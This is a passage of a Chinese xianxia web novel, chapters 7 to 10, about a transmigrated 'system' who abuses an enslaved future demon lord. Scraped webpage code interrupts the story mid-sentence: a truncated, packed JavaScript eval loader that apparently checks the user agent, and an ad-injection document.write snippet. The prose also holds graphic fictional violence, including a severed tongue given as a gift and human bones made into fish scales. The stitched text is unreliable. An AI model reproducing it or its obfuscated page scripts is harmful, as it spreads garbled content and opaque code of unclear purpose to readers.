楚青琅被笑得心中发毛,暗暗地翻了个白眼,自从走进这后院,站到谢尘缘面前,他就一直在笑,好像楚青琅整个人长在了他的笑点上,莫名其妙的。 那张面孔生动,瞳孔像是感到惊讶,微微放大了一瞬,随即透出嫌弃。卷翘的眼睫撑起薄薄眼皮,上面有碎碎金光闪烁,整个人阳光灿灿,让人瞧见便心生愉悦。 直到察觉到面前的人准备发脾气,谢尘缘才缓缓收拢了笑意。 “去吧,玉儿。” 啧了一声后,楚青琅拿着东西懒得回话,转身快步离开了这个让他浑身不自在的地方。 直到彻底走出那院落,一直落在后背的视线才消失不见,楚青琅刚顿了下脚步,在后面跟着的管家就上前一步,引起了路。 * 因为宴会,前院格外热闹。 只是沿着墙根,就听见里面传来的喧嚣,楚青琅一跨过门槛,便看见一角有两批人在对峙,一面是穿的富贵的跟着郑章来的人在窃窃私语,一面便是兆歧。 此时他面具染血,直直地站在那里,看起来安静极了,丝毫没有管家话语中疯狂的样子。 在兆歧的周围是手持棍棒的郑家侍卫,面上隐约带着惧怕。 可能是所有人的精神都紧绷着,所以楚青琅走进来时无人看见。只有站在一旁的兆歧敏锐地察觉到了什么,微微侧了下头,而他的这个动作,也打破了宛若绷紧的琴弦一般的气氛,喧嚣中一道气急败坏的声音忽高昂起来。 “给我把这个低贱的奴隶拿下!我看他就和他主人一样,都欠人调教!” 有人连忙上前,拽住郑章的肩膀小声劝:“郑兄!慎言!” 楚青琅被那分贝刺得耳朵一麻,下一刻就瞧见那围绕着兆歧的小厮上前,将兆歧的双臂扣住,压着他微微弓下了腰。 而兆歧却并没有反抗的动作,甚至是颇为顺从。 在郑章看来,就是他知道害怕了! 郑章肩膀和手臂上带着血痕,一张清秀的脸随着心中的怒火愈发旺盛而扭曲,只一心想给这个以下犯上的奴隶一个教训。 当时他们看见楚青琅竟然真的进去了后院,就意识到谢家很有可能是真的收下了他这个剑奴,就照着楚青琅长的那种样子,说不是床上的玩宠,是纯粹的奴仆,谁会信? 郑章估计这次就是他们的第一次了,尤其是他们在发现被留在院外的管家和戴着面具的奴隶之后,他们就愈发的确定了。 既然得不到美人,那他们过过眼瘾也可以啊。 郑章晃下扶着他的手,没有理会身边人的劝告,冷笑着站直,“怎么,小爷就是去看个热闹,你这贱奴也敢阻拦?来人,给我把他捆了,做成靶子!” 兆歧被架着绑在十字木架上,一张脸上只有下颌露出,明明是极为狼狈的形象,但是那平直的嘴角却显露不出丝毫的情绪。 “你们......” 管家上前一步,皱眉想要喝止,却被楚青琅伸手拦住,他疑惑扭头,却只看见这楚家少爷面无表情的模样。 他之前见过楚青琅几面,明白这个人对外一向是笑得多,但是这笑却不同于自家少爷那种温和平静的笑,是讥笑,冷笑,自持身份的矜贵笑容,不招人喜欢,但是配上他那张俊美面孔,却让人生不出来气。 倒是极为少见楚青琅此时这种纯粹的冷淡样子。 这异常的反应倒是让管家下意识地吞下了口中的话语,变得安静下来。 楚青琅将视线从被绑着的魔尊身上收回,视线中的任务完成度正在大幅上涨。 30%—35%。 看起来,带魔尊过来还真的是来对了。 此时所有人开始向着后方退去,只留下郑章一人,举着箭站在前方,咬牙切齿道:“你的主子今天可是救不了你了,他现在可能正和别人翻云覆雨呢!还敢拦着我进去?我告诉你,等你死了,本世子就把你脸皮剥下来喂狗!” 40%—45%。 这进度涨的楚青琅都有些咋舌。 关闭掉面前的面板,他甚至看着那张扭曲的清秀面孔都顺眼起来,他现在心情很好,那就留下这个嘴贱的人一条命好了。 精铁铸成的箭头在阳光下反射着刺眼光芒,箭的尾部晃动着,眨眼的瞬间就穿过兆歧肩膀处的衣服和皮肉嵌在了木架子上。 狼型面具微微转动,那被掩在轻纱后面的眸子,正在眼也不眨地盯着悠然站于一旁看戏的—他的主人,随即那白纱被从肩膀处飞溅的血滴浸湿,那张明艳面孔也蒙上血色。 “贱奴!记住这种痛苦!哈哈哈哈,我会把你的四肢都弄断!” 拉弦的声音再度响起,察觉到了楚青琅漠然的态度,兆歧倾斜的头颅微微下垂,被绑住的双手,极轻微地划动着,无形红光盈盈,拢于指间,坠落后潜入人群,顺着郑章的脚底钻入他的体内。 仿佛在隔空挑动着一抹琴弦,指间下勾,直到“砰”的一声,琴弦绷裂,生命也就此…… “——你在做什么?” 兆歧猛地抬头。 尖锐的寒光由远及近的飞来,但是飞的路线歪歪曲曲的,就在他身前几步远的距离被红袍下的长靴踩于脚下,长靴的主人来到他的面前,一张俊美面孔被眼前的轻纱分割成红白两色。 随着箭枝被踩断,一声惨叫声便响彻云霄。 在楚青琅身后,郑章猛地捂着心脏蜷缩倒地,面色惨白,嘴中喊痛声不断。 面对这诡异的情况,众人弯腰将人扶起,手足无措地面面相觑起来。 楚青琅示意管家给兆歧松绑,随即他又重复了一遍,“你刚刚在做什么?我不是说了,要藏好啊。” 指间拢着的红光忽地逸散,身后的惨叫也小了起来,兆歧抬手捂着肩膀,鲜血顺着手腕滴落,声音冷漠:“我有藏好,面具没被摘掉,刚刚只是想给他一个教训。” 楚青琅上前一步,抬头看着他,“是吗?我怎么觉得你是想要杀了他呢?在这仙人弟子的府邸里?给我找事?” 兆歧沉默。 楚青琅嗤笑一声,“给我收回你的小心思,贱奴。” 身后传来郑章颤抖的愤恨的声音,“青琅,青琅,你刚来是吧?你看看你这奴隶给我打成什么样子了,这是以下犯上啊!以下犯上!” 楚青琅说:“你要如何?” “本世子要他用命来抵!” 阴森的话语脱口而出,郑章才在旁人的提醒下反应过来,面前的人可是京都最为自我 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“你也知道他是我的人啊?”楚青琅瞬间冷了声音,打断了郑章未说出口的狡辩。 抬弓,拉弦。 “我的人,什么时候轮到你调教了?” 箭头从那瞬间苍白的脸移动,对准那微微颤抖的左臂,轻飘飘的话音落下,楚青琅就这样松开了手。 “你早就来了?”郑章边狡辩边抱头鼠窜,“我,我是世子!楚青琅你不能这样,我就是随口一说!青琅!” 但是他跑到哪里,那箭头就追逐到哪里,众人这才瞧见,谢家人早已将这片地方给围了个水泄不通,而那个管家却只是恭敬地站在楚青琅的身后,一副什么都没瞧见的样子。 郑章跑到谢家人面前,还未开口求救,就被一把推了回去,跌落在地,随后被身旁飞插在地的箭吓得浑身一抖。 不远处的楚青琅还柔和了声音,仿佛猫戏老鼠一般,“郑兄,我这箭可不长眼,要跑快点啊——” 兆歧放下手,直愣愣地瞧着眼前的人。 未被鲜血浸染的轻纱阻碍不了他的视线,阳光泼洒,将小少爷面上残忍的兴奋照得清晰,那双眼极黑,卷翘的眼睫密密围绕,在眼尾拉长,眨眼间仿佛猫儿胡须似的轻颤。 随着箭矢射中,小少爷发出畅快笑声,他甚至还回头要求:“去,按住他,跑来跑去的,真麻烦。” 那双眼眸望来,携着热芒,将兆歧心脏烫了个彻底。 小少爷这是,在为他出头? * 楚青琅还是拿着弓箭玩了个彻底,看着郑家来人将已经瘫软在地的郑章拖了回去。 然后在地上留下了一滩水迹。 他不禁皱了皱眉,将弓箭直接扔到了地上,侧头对着跟着郑章来的人说:“有事来楚府,我随时恭候!” 声音冷戾,让他们连抬头都不敢,只得称是。 随即他转身便准备离开。 就在这时,管家张叔笑着凑过来,“我们主子说您不用担心,这件事情既然是在谢家发生,那么我们一定会解决的。” 楚青琅顿了下脚步,对这上赶着的好意有些警惕。 但是他脑袋转了一圈也想不明白谢尘缘这样做图什么,于是他干脆不想了,直接点了下头,在走之前礼貌回复:“那就多谢谢兄了。” 楚府的马车安静地在外面候着,楚青琅踩着凳子上去,拂开马车帘幕时,才想起来好像缺了一个人。 他停下动作,回身看去,只见身后兆歧低垂着眼,好似在想些什么。 可能是在盘算着怎么弄死他?或者是在压制怒气,毕竟今天的完成度上升得挺快的。 想到这里,楚青琅收回了视线钻进了马车。 身后,兆歧看着他走上马车,抬手按上了心脏,唇微抿,遮掩在面具里的红眸,空荡中生出迷茫星火。 8. 第 8 章 昨天任务完成的比较好,所以楚青琅并没有再次折腾人,早早的就睡下了。 迷蒙间,面上传来湿漉漉的感觉,仿佛有小动物在不停舔舐,他不耐的侧头躲避,但是那动物又不死心的追过来。 他朦胧想起,府中好像没有养什么宠物。 楚青琅猝然睁眼,一张放大的英俊面孔就出现在了他的视线中央,虽然好看,但是就这样出现,还是让他吓了一跳。 “你在干嘛?!” 被推回去的兆歧默默收回了手中的帕子,他指了指床旁边的水盆道:“给您擦脸。” 有这样擦脸的? 楚青琅虽然疑惑但并没有多想。 “哦。”楚青琅坐起身,伸手在水盆中翻搅了一下,自己洗漱起来,“丹生呢?” 以往丹生都是轻手轻脚地将他叫起来,从来不会直接把湿漉漉的帕子朝他的脸上糊去。 而且看这水温,应该是放了许久了。 那这段时间内,兆歧在干嘛? 楚青琅心中微微警惕,他一想到自己睡得昏天黑地时,一旁有一人一直盯着他就浑身发毛。 兆歧看着他睫毛尖上滚落的水珠,适时地递上了干燥的巾帕,他说:“他在外面等着。” 他并没有说是自己强制性地接过这件事情,还在榻前对着楚青琅发了很久的呆,直到察觉到人快醒了,他才收回手,把浸湿的巾帕朝着那脸庞拭去。 楚青琅看了一眼门外,曲折屏风已经被收起,层层纱帐帷幔被风吹的晃动,阳光穿过窗格印在地面,外面空无一人。 兆歧弯腰将鞋摆放在床榻前,然后从衣柜中拿过来一身白底红边的常服。 楚青琅踩着鞋下床,伸手,站在他身后的兆歧便为他穿上衣服,随后顺理成章地系上腰带,摆正玉佩,缓缓的祛除一些褶皱。 坐在梳妆镜台前,楚青琅用手撑着下颌,任由身后的人握着青檀梳为他打理着长发。 兆歧动作极为轻柔。 打磨圆润的梳齿,温雅的香气,阳光,甚至让楚青琅有一种再睡一会儿的冲动。 但是不行,等下他还要和父亲母亲复命,说自己已经成功了,然后试一试谢尘缘给他的丹药,看看他是不是再诓他。 铜镜清晰的映出被阳光浸染的两人。 站在后面的人黑发红眸,英俊面孔,定定地瞧着垂眼懒散的少年,眼眸深处跃动着一簇星火。 他仿佛踌躇,低声问:“小少爷,你昨天为什么要出来?” 楚青琅抬眼望去,面上有着疑惑,几息后,他好似发现了什么一般露出了笑容。 他抬手抓住兆歧的手腕,施力将其拖到身前。 “你想要什么答案?” 少年人的声音清越,尾音却仿佛青烟一般,钻进耳道带着缠绵的冷意。 兆歧眉眼锋利,无动于衷。 他自问自答:“因为那个人冒犯到了您。” 楚青琅无法从他面上再察觉出来什么端倪,刚刚的猜想也仿佛空中楼阁。 他就说嘛,一个残暴冷血的魔尊,怎么会对一个成天想着法子虐待他的人有好感。 楚青琅松懈下来,握住兆歧的手也松开,“一个小小的世子也敢对我嘴贱,要不是看在是谢家宴上,早要了他的命了,只是断他四肢,便宜他了。” 嘴里说着,楚青琅突然觉得身后的人贴得有点近,他刚准备呵斥,放在镜台的手却被一只手紧紧攥住。 “放肆!” 楚青琅下意识挣扎起来,另一只手朝后撞去,但是肘部却仿佛撞到了一堵墙上,身后的人没有丝毫动摇。 攥着他手腕的大手宛如钢铁,掌心带着炙热温度在皮肤上撩过。 兆歧托着他的小臂翻了个面,随后沿着修长骨骼将一个木盒放到了他的手中,低哑着声音道:“主人,送你一份礼物。” 楚青琅死死的皱眉,手中的木盒极为粗糙,就像是随便砍下来的一棵树枝做成的,上面甚至有着树木生长的纹理。 理智回笼,他压下因为被人近距离接触而乍起的汗毛,不过一个不与凡尘接触的魔尊想来也没什么礼仪,便冷哼道:“滚一边站着去,不会束发让丹生过来。” 兆歧放下手中鸦黑的发,微微退后了一步,右手背在身后,那滑嫩的触感犹在掌心。 小少爷恢复以往矜贵的神气,小臂手背上却带着几道轻微的被他手中的糨子磨出的红痕,仿佛被烟粉色的绸缎捆绑一般。 楚青琅打量着手中的盒子。 尺寸不大,只是手掌大小,掂起来也是轻飘飘的。 他是真的好奇,一个现在的奴隶,未来的魔尊,会送他什么东西,是毒药还是什么暗器? 不过就算是这些他也不怕,毕竟有生死契在,如果真伤到他了,兆歧也是自作自受。 心中乱七八糟地想着,他干脆地将东西打开,微微倾斜盒子,出乎意料的,楚青琅看见了里面盛放的竟然是一截血红的血肉。 ——舌头? 楚青琅猛地站起来,犹如捧着烫手山芋般猛地将东西朝前扔去。 “砰”的一声,木盒将精致的镜子撞出裂痕,落在台上后,盒子里的舌头也滚落出来,就这样软塌塌的躺在台面上。 血腥味蔓延,兆歧扶住踉跄退后的楚青琅的腰肢。 “他侮辱于您,这是他应该受的惩罚。别害怕我没有在那里留下妖气,官府发现不了我。” 是官府发不发现的问题吗? 楚青琅甩开他的手,面色微白,咬牙道:“疯子!” “主子,啊!!!” 身后走来的丹生走来询问楚青琅去哪里用饭,一眼瞧见兆歧搂着主子,正准备呵斥,视线一拐就瞧见了镜台上的一截血肉,不自觉的尖叫起来。 “闭嘴!” 楚青琅扭头冷斥,看着丹生捂住嘴消声后,抬脚踹了一下兆歧的小腿,指着他道:“滚出去跪着!” 因为和想象中的场面不一样,兆歧微微有些愣神。 看着他,站在门边的丹生也明白了这舌头是谁带过来的,他下意识地瑟缩了一下。 楚青琅又说:“把你的东西带走!” 兆歧便将那截舌头放到盒子里,收了起来。 他转身朝着外面走去,跪在了阳光下。 看着兆歧脊背挺直的身影,楚青琅呼了一口气,只觉得被惊吓到的小心脏勉强落回了原处。 他怀疑这是兆歧给他的威胁。 他忽地想起兆歧先前说的话,那意思很明显,就是如果要一定收魔尊这个奴隶,就要做好被找麻烦的准备。 现在的魔尊,应该已经在暗暗的恢复实力了,才能把郑章的舌头给割下来,他可不信世子府邸没有修行之人保护…… 眼前淡蓝色的屏幕闪烁,上面50%的进度让楚青琅微微放下了点心。 快了,马上第一个任务就完成了,到时候再也不用和这个变态的魔尊相处了。 等到了后面死之前,就是一直被折磨的环节了。 简单明了,不用勾心斗角,不用让他一个系统把握揣摩一个神经病的心思。 …… 吃完饭应付完父亲母亲之后,楚青琅并没有叫兆歧起来,而是径直来到了一旁的凉亭中休息。 他靠着亭子旁的栏杆,对着水波荡漾把玩着手中的丹药玉瓶。 丹药被装在一个白玉一般的瓶子里面,摸起来莹润带着暖意,不用想,就知道光这个瓶子都价值千金。只是不知道父亲是怎么和那谢尘缘谈的,竟然就这样让他同意了...... 而且这个丹药真的有这么好的效果吗?那个谢尘缘总给他一种让人发毛的感觉。 余光不经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚青琅伸手抓住他的脖子,将人拽到身边。 兆歧压下反抗的本能,垂下的手扣着小少爷的脚腕。 那攥着脖子的手上移,钳制住他的下颌,随后楚青琅又将两根手指伸进他的口腔里,抵着他的牙让他张嘴。 楚青琅左手从玉瓶里倒出一颗丹药,然后随手塞进了兆歧的喉咙里。 捂着兆歧的嘴,看着那空荡的红眸,楚青琅又说:“咽下去,是毒药哦。” 好像被他的一系列操作弄懵了头,兆歧张了嘴,舌头不经意间的舔舐到掌心,带来一股痒意,楚青琅蹙眉,将手从他面颊上移开,拿帕子擦了又擦。 兆歧想说话,但是唇张合了一下,话还未出,就是一阵剧烈的咳嗽。 喉咙壁上坚硬指尖残留的触感鲜明,小少爷喜欢甜食,血肉都仿佛被浸染出甜意,舌根蠕动中,剐蹭下清腻的气味。 随着丹药下咽,瞬间融化成精纯的灵力,修补着破损的经脉的丹田,不过他体内的伤太严重了,这颗丹药的效果对他来说几乎没有,甚至不如他吸取他人的生命力恢复修为来的快点。 但是不是毒药。 痒意褪去,他抬头,只见楚青琅正撑着下颌,眼中闪着微光,正静静的瞧着他,兆歧说:“是上品丹药,里面有悬灵草,可以修补经脉,增长灵力,但是对我来说,并没有什么用。” “谁说对你有用了?”楚青琅哼了一声,“吓吓你而已,真没意思。” 亭子外微风飘拂,吹的水面上的荷花轻轻摇晃,有鱼儿啵啵的吐着泡泡,连绵不绝。 楚青琅垂眼看着狼狈的魔尊,突然又想出折腾人的办法。 踢了踢,将箍着脚腕的手挣开。 他说:“下去,给我抓一只鲤鱼,要白金红尾的。” 9. 第 9 章 此时正值夏末初秋,亭子外的水又是从地下引入,便更为冰凉刺骨。 兆歧掀了掀眼皮,看了一眼故意为难的小少爷,站起身就准备从亭子外面跳下,动作间却又被楚青琅拦下。 楚青琅指着栏杆说:“直接下去。” 于是兆歧便听话的直接跳了下去,噗通一声,将聚集而来的鱼儿吓的四处逃窜。 阳光照耀下,游动的鱼儿身上金红鳞片炫目,往往眨眼间,就分不出来哪只是哪只。 因此兆歧便只能在这冰冷水中,一遍又一遍找着小少爷所说的那只鱼儿。 楚青琅把人指使出去之后,并没有欣赏兆歧的狼狈样子,反而站起身,在丹生的陪伴下去了后院。 在两人身后,仿佛认真寻着鱼儿的兆歧直起身,看着两人的背影逐渐消失。 水珠顺着指尖滴落,便有几条红光钻进水里,很快,那游得欢畅的鱼儿便翻起肚皮,然后血肉仿佛被无形之物吞噬,只剩下一副骷髅骨架,随着余波晃动了几下。 兆歧收回视线,低头又认真寻觅起来,腿边那一只只骨骼随着一个水波,隐匿不见。 后院种植着一些花朵,此时正开的艳丽,袍角撩过,带起一股芬芳。 花朵中间留着一片的空地,有书案,秋千,小型弓箭,木制剑,都是一些楚青琅小时候的玩意。 孩提时期楚青琅对于文章极为厌恶,于是为了引导他学习,母亲便拘着他在这里念书,给他布置任务,只要他背下了一篇文章,就允他在旁边玩耍。 后面楚青琅长大了,这里也就渐渐荒废,但是每次心里不静的时候,他还是会习惯性的来到这里。 “主子......”丹生把环抱着的剑快速放下,被戾气震痛的手颤抖着,他犹豫道:“这把剑很危险。” 楚青琅坐在书案后面的蒲团上,拿起笔,将谢尘缘教下的口诀写下。 据他说,只要这丹药配合口诀,他就能很快地感受到气感。 缠绕红绳的承影剑躺在他右手边,好像是听到了丹生的话,嗡的震动了起来,楚青琅直接拍了它一下,把它拍得安静下来,反正自从系上了这红绳子,这剑就再也伤不到他了。 他放下笔说:“行了,你下去吧。” 丹生张了张嘴,他想劝主子把那个人赶出去,他总觉得那个半妖诡异至极,那层英俊听话的表皮下仿佛隐藏着极为可怖的东西。他想劝主子不要那么相信谢家,毕竟下人之间也是有着消息流通的,那谢尘缘的风评简直两极分化。 但是看着已经不耐地抬头盯着他的主子,还有这件事情本来也是老爷和夫人强行让主子去了,丹生闭上嘴,低头退了下去。 等这里彻底的安静下来之后,楚青琅从怀中掏出玉瓶,倒出一颗丹药,咽了下去。 丹药一到嘴里便化了开来,口齿留香,楚青琅舔了舔唇,眼睛一亮,他知道自己是绝无可能踏入仙门的,估计就算是吃再多的丹药也堆不起来他的修为,因此吃这个除了维持人设之外没什么用。 但是这个丹药还怪好吃的,当糖吃也蛮好。 与此同时,他感觉有一股丰沛的灵气在经脉中四处游荡,楚青琅下意识地闭上了双眼,按照上面的口诀默念起来。 阳光洒落,四肢暖融融的。 灵气在他一遍又一遍的重复中,终于被引导到了丹田,盘旋成了云状,缩成了乳白色的一团,就当他以为成功的时候,那团云气却又突兀地散开,残留的灵气也消失得无影无踪。 楚青琅睁开眼,心里却不觉得遗憾,毕竟这种感觉早已习惯,而且之前感受的灵气可没有现在这么充裕明显,就仿佛他已经来到了踏过了炼气,直接进入了筑基,只要他轻轻一推,那横亘在他中间的境界就像纸一般破裂。 一颗已经这样了,那么两颗一起吃呢? 他睁开眼,视线不禁停留在玉瓶上,但是现在丹药只剩下最后一颗了,而距离找谢尘缘的时间还有两天,这意思,不就是让他一天吃一颗嘛。 楚青琅伸手推了下玉瓶,看着它摇晃了几下又站稳,将其揣进了怀里。 反正他又不着急,还不如想想接下来怎么折腾魔尊。 他站起身,从后院房间中拉出一张摇椅,掐了一把花后,躺上去慢悠悠地摇晃起来。 系统面板在眼前闪烁,右上角的006号旁出现一个信封的标识。 楚青琅将其拆开,发现是主系统发出的。 【致全体系统: 本次考核将全面交由主神亲自监管,请大家认真完成考核任务。】 主神? 楚青琅自从于无尽星海中睁开眼,就只是听说过这个名字,却从未见过,而每次他好奇询问时,得到的答案只是和他一样迷茫的系统。 这次考核,有什么特别的地方吗? 看着头顶湛蓝的天空,还有缓缓移动的白云,指尖搓动着柔嫩的花瓣,楚青琅褪去了面上属于楚家独子的矜贵傲气,神情变得平淡起来。 案旁的承影剑嗡嗡的震动了两声,无人搭理后,又悄无声息地寂静下来。 * 楚青琅这一躺,就直接睡了过去,等他再次睁开眼,天边已被夕阳染红。 他腰部用力,停下摇椅,一张轻薄绒毯就从腰腹滑落,楚青琅抓住,只以为是丹生过来发现他睡着了,给他盖上的。 将毯子随手塞到背后,他从摇椅上起来后把承影剑拿到手中,就准备去瞧一瞧跪了几个时辰又找了一天鱼的兆歧。 毕竟他自己家的池塘,里面有什么鱼他自己知道,让魔尊找那个鲤鱼就是在耍他玩,池塘里面根本没有那种鱼。 但是出乎意料的是,等楚青琅走出后院,一眼便瞧见了站在回廊上的,浑身还在滴着水的魔尊。 回廊两旁挂着的六角灯笼已经点上烛火,明灭的光影照在那身影上,黑色的布料被水浸湿紧紧贴在他的身上,将所有的光芒吸取,生生带出几分阴郁鬼气。兆歧的身高很高,阴影从鼻梁划分,将那猩红双眼遮挡得完全。 明明瞧不见,但是楚青琅却只感觉他正静静的凝视着他,带着要将他灵魂看透的冷锐,极富有压迫感。 这是发现他故意耍他的事情了? 想起剧情中被当作祭品折磨死的下场,楚青琅不禁打了个寒战。 因为是考核任务,所以系统并没有痛觉屏蔽的功能,所以想起自己未来的惨样,他又对折腾魔尊越发的心安理得。 楚青琅干脆停下了脚步,冷声问:“谁让你上来的?” 站在回廊上的人听见了他的询问,微微动了下身子,随后,便一步一步的朝着他走了过去。 随着兆歧的走进,楚青琅感觉到有水气和一股子莫名的腥气交杂,逐渐地将他包围吞噬。 “喀啦!喀啦!” 对视上那双红眸的瞬间,右手握着的承影剑激烈晃动起来,剑身和剑鞘发出声声碰撞的响动,承影想要突破剑鞘的束缚,但是每每刚拔出一线就被突然缩紧的红绳压制回去。 正准备发脾气的楚青琅被这动静给憋了回去,他疑惑地低头,看着震动不休的承影剑。 就在他茫然的时候,一只苍白大手突兀地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 按上了那剑柄,兆歧又靠近了一步,好似解释说:“仙宗利器,肯定是想要斩妖除魔的,尤其是我这个半妖。” 楚青琅挑眉,冷哼一声,“那你还敢靠近,也不怕直接把你给捅了。” 一入夜,兆歧身上好似褪去了什么面具,变得和白天不同,他极轻微地勾了勾唇,没有回复,反而将一只掂着的鱼向上提了提,他说:“主人想要白金红尾鲤鱼,我找到了。” 楚青琅看去,直接被他手中的鱼吸引了注意力,也忘记了莫名安静下来的承影剑。 白天在池塘中游弋的鱼儿哪怕失去了阳光的照耀,也因为有着漂亮的鳞片,格外的炫彩夺目。 在月光的照耀下,鱼身上鳞片竟然仿若透明,根部带着渐变成明显的艳红,过渡到尾部,便是纯正的鲜血一般、火焰一般的红。 楚青琅瞳孔骤缩,他握紧承影剑,恨不得直接用剑抽兆歧。 “你做了什么?你从哪里弄来的?池塘里明明没有白金鲤鱼!” 兆歧提着鱼,身上的水珠从发丝,从指尖,从鱼尾滴滴落下。 他道:“小少爷说要,那就一定有的。” 一只鱼身上的鱼鳞大约有一万两千片,熟练了之后,每一千片需要三只鲤鱼骨骼做成的骨片,一万两千片需要鱼36只,池塘里面不是不够,但是他想,小少爷之后肯定还会想要的,因此他便用吞噬的那些血肉得来的妖力,去找了那些在船上打他的壮汉,借用了一下他们的骨骼。 其实人的骨骼比鱼的骨骼好做,但是太过于驳杂,不够清透,只能做衔接的地方和被鲜红覆盖的鱼尾。 保证着鱼的生命,一片片的拔下又按上新的鳞片,到最后,他又将血液小心翼翼的擦干,只留下了根部连接血肉的印痕无法抹去。 可惜,并不完美。 兆歧微微放下手,鱼鳞摩擦的声音很小,但是听在楚青琅的耳边却格外清晰。 “主人。”兆歧叫他,又上前一步,弯腰,几乎是蹭着楚青琅的鼻梁低喃:“小少爷,我做到了,你开心吗?” 开心? 他现在只觉得毛骨悚然,谁知道这东西是什么组成的? 看着兆歧的脸,楚青琅冷声道:“既然你连不存在的东西都能做出来,那就再去……” “唔——” 话音未落,那原本就贴着他的面颊猛地靠近。鼻梁交错间楚青琅连忙扭头,于是那冰冷的带着水汽的鼻梁就擦着他的面颊埋进了脖颈,徒留下一道湿凉。 那高大的身影也突然颓下,将他整个人死死地压在地下。 两人胸膛起伏间,气息混乱灼热,他下意识地推拒也被反扣手腕按在地上,楚青琅可以感受到湿沉浸透衣衫,还有冰冷的鱼鳍,被两人按在掌心。 很好,人已经被他折腾到发烧失去意识了。 楚青琅看着漆黑的廊顶和跳跃的烛火,感觉自己整个人都要被那味道污染了,他痛苦地闭了闭眼后,喊道: “丹生!丹生!” * 好不容易把人扔回了房间,楚青琅抱臂站在房外瞧着月亮,身后侍女来来往往。 丹生拿着狐皮披风从一旁走来,轻轻披在他的肩头,接着说:“主子,他并没有什么大碍,只是原本的伤没有好得彻底,又耗费了些许的心神旧疾复发了而已。” 洁白的毛发将楚青琅的脸颊拢着,越发显得他面容精致出尘。 他恹恹地瞥了丹生一眼,冷哼道:“管他死活,给我取热水,我要沐浴更衣,困死了。” 丹生唇角克制地弯起,“是,主子。” 10. 第 10 章 楚青琅是因为阳光照射而清醒的,他迷迷糊糊地睁开眼,就瞧见丹生正在一旁将床帘收拢挂上,见他醒来,便笑着说:“主子,饭菜已经做好了,夫人还来瞧了一会儿,见您再睡,就回去了。” 他懒洋洋地应了一声,起身接过丹生递过来的手巾,擦拭了一下双手。 “兆歧呢?” 丹生垂眸,顿了一下回答:“我进来找主子的时候,人就已经不见了。” 楚青琅侧了侧头,不禁猜想他能去那里。 他并不担心魔尊逃跑,毕竟在生死受制于人的情况下,最优解就是待在他的身边。 昨晚,魔尊可是认清了现实,示弱了,楚青琅想,能因为他的一句命令就硬生生做出不存在的东西的魔尊,应该已经被驯服了。 虽然他一直听话的离谱。 洗完漱之后,楚青琅来到了饭桌上,丹生则站在一旁为他布菜。 原本楚家饭菜大多偏清淡,但是最近应该是察觉到了他口味的改变,现在摆在他面前的都是一些格外味重的,要么是辣,要么是甜。 楚家的厨子手艺很好,色香味俱全,哪怕是为了保持人设的楚青琅,也吃的超乎了他原本的食量。 等餐席被撤,他来到门外让丹生把后院的摇椅搬了过来,摇椅旁边摆放着方几,上面放着水果和茶水。 楚青琅便躺在摇椅上,看着檐外的湛蓝天空,发呆。 “主子,您的丹药。” 丹生从后方走来,屈膝在他身旁,手中捧着一个白玉瓶。 哦,他的糖还没吃。 楚青琅接过,拔下上面的塞子,到出了最后一颗圆滚滚的药丸,咽了下去。 随着默念的口诀,清甜幽香过后,灵气又很快的丝丝逸散。 他忍不住撇了撇嘴,随手将药瓶子扔给丹生,正准备重新躺下去,余光却突然瞧见支起的窗户旁,有着一个不大的琉璃方缸。 那白金红尾鲤鱼在里面随着水波起伏,精致瑰丽到诡异,却毫无生气。 在那水面上漂浮着一片片的干花,仿佛不小心是被风吹来的。 颜色和质地倒是很像他昨晚随手揪下来的。 但是,他明明记得醒来的时候,身边除了一块毯子之外,这花并不在他的手中,他还以为是自己睡着了松了手,这花就被吹跑了。 怎么会在这里? 就在他想要询问丹生的时候,一道平稳的脚步声从远外传来,“主人。” 兆歧从外面径直走了过来,随后,单膝跪在了楚青琅的面前,伸手握住他的脚腕,托着鞋底将踩着的鞋边勾起,给他穿得端端正正。 他这个行为过于理所当然,在一旁的丹生攥着手中的药瓶,几次张口,都没能说出什么来。 楚青琅将视线从干花上收回,在兆歧为他穿另一只鞋的时候抬脚踩住了他的手背。 脚下用力,垫在脚下的手皮肉滚烫,哪怕是隔着鞋子,楚青琅也能感觉到那灼人的温度。 明明是侮辱的动作,但是从兆歧英俊的面容上,他竟然意外地窥见了丝丝缕缕的......宠溺? 他顿时阴了脸。 这是拿他当宠物看啊?还宠溺?要宠也只有他这个主人宠溺他这个奴隶的份! 而且昨天他竟然让自己的身上沾染了那种脏污...... 楚青琅心中愈发不爽,刚好先前吃下的丹药灵气还未彻底消失,谢尘缘又将控制那承影剑的方式交给了他,因此心随异动。 “嗡!” 房间旁被放到檀木架子上的承影剑一个摇晃飞了起来,径直朝着兆歧砸去。 兆歧仰头瞧着,视线并没有移动,却一伸手就握住了承影剑。 与此同时他将手从小少爷的脚下抽回,手背骨节带着鲜明的红晕。 楚青琅眉微挑,只见承影剑身上的红绳自动脱落,下一刻,鞘未动,剑身却在眨眼的瞬间刺向了兆歧的眼眸。 只消挨上这么一下,兆歧的眼睛就会彻底瞎掉。 但是面对这来势汹汹,他却未收起那眉眼间的温情,只是疑惑地瞅了一眼阴晴不定的小少爷,又瞅了一眼窗户那里的礼物。 就在他自顾自地思考着什么的时候,剑尖已经来到了他的眼前,他这才猛地起身,和楚青琅拉开了距离,随后用那剑鞘格挡住了承影的攻势。 承影又嗡的一声,旋即变换了招式。 阳光下。 一袭黑衣的男人手持剑鞘和一柄剑打的有来有回,衣衫翩然间,动作竟然意外的优美,但是偶尔间,他动作会猛地停滞一下,随后就会被那柄剑在身上划开一道道伤口。 坐在摇椅上的楚青琅看着两人打的有来有回,眼中褪去了故意而之的阴沉,变得兴致勃□□来,虽然刚刚强行调动灵气,使得他筋脉抽痛,但是能看着以后的魔尊给他表演“剑舞”,也不亏。 看到惊险处,他还差点忘了嚼嘴中的果脯。 虽然是他放出了承影,但是之后的事情就是承影作为仙剑对妖魔之流的自我反应,在楚青琅的印象中,仙宗之物,哪怕是一株草变成人都不意外。 更何况是仙剑了。 